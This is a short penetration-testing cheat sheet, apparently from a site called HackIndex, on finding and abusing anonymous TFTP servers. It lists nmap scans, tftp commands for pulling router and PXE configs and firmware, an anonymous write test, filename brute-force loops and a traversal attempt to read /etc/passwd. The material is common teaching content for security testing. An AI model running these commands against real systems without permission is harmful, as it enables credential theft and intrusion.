Skip to content
HackIndex logo

HackIndex

TFTP Anonymous File Enumeration

2 min read Jul 14, 2026

TFTP on UDP 69 often allows anonymous reads on embedded devices, routers, or PXE servers. Success exposes configs, firmware images, or boot files containing credentials, network details, or binaries.

Nmap TFTP Enumeration

Most reliable starting point; brute-forces common filenames:

┌──(kali㉿kali)-[~]
└─$ nmap -sU -p 69 --script tftp-enum $TARGET_IP

Lists any readable files from built-in wordlist. Positive hits confirm open access and reveal paths.

Service version for fingerprinting:

┌──(kali㉿kali)-[~]
└─$ nmap -sU -p 69 -sV $TARGET_IP

Identifies daemon type; match against known defaults.

Manual File Retrieval

Test single files with built-in tftp client:

┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get boot.cfg

Success downloads silently to current directory. Failure shows timeout or access denied.

Common high-value targets:

┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get pxelinux.cfg/default
┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get config.bin
┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get firmware.img
┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get grub.cfg
┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get undionly.kpxe
┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get backup.conf

PXE and router configs often contain plaintext credentials or internal IPs.

Anonymous Write Test

Rare but critical if allowed:

┌──(kali㉿kali)-[~]
└─$ echo "test" > test.txt
┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c put test.txt

Success enables trivial persistence or defacement. Clean up immediately.

Filename Brute Force

Automated guessing against open servers:

for f in $(cat /path/to/filenames.txt); do
  tftp $TARGET_IP -c get "$f" 2>/dev/null && echo "Found: $f";
done

Valid files download and trigger output. Use focused lists for configs, backups, or device-specific names.

Quick PXE sweep:

for f in boot.cfg grub.cfg pxelinux.cfg/default undionly.kpxe; do
  tftp $TARGET_IP -c get "$f" 2>/dev/null && echo "Found: $f";
done

Basic Server Probe

Raw UDP poke for response:

┌──(kali㉿kali)-[~]
└─$ echo "" | nc -u -w1 $TARGET_IP 69

Timeout indicates closed or filtered; any packet back confirms listening server.

Directory traversal attempts rarely work but worth testing on positives:

┌──(kali㉿kali)-[~]
└─$ tftp $TARGET_IP -c get ../../etc/passwd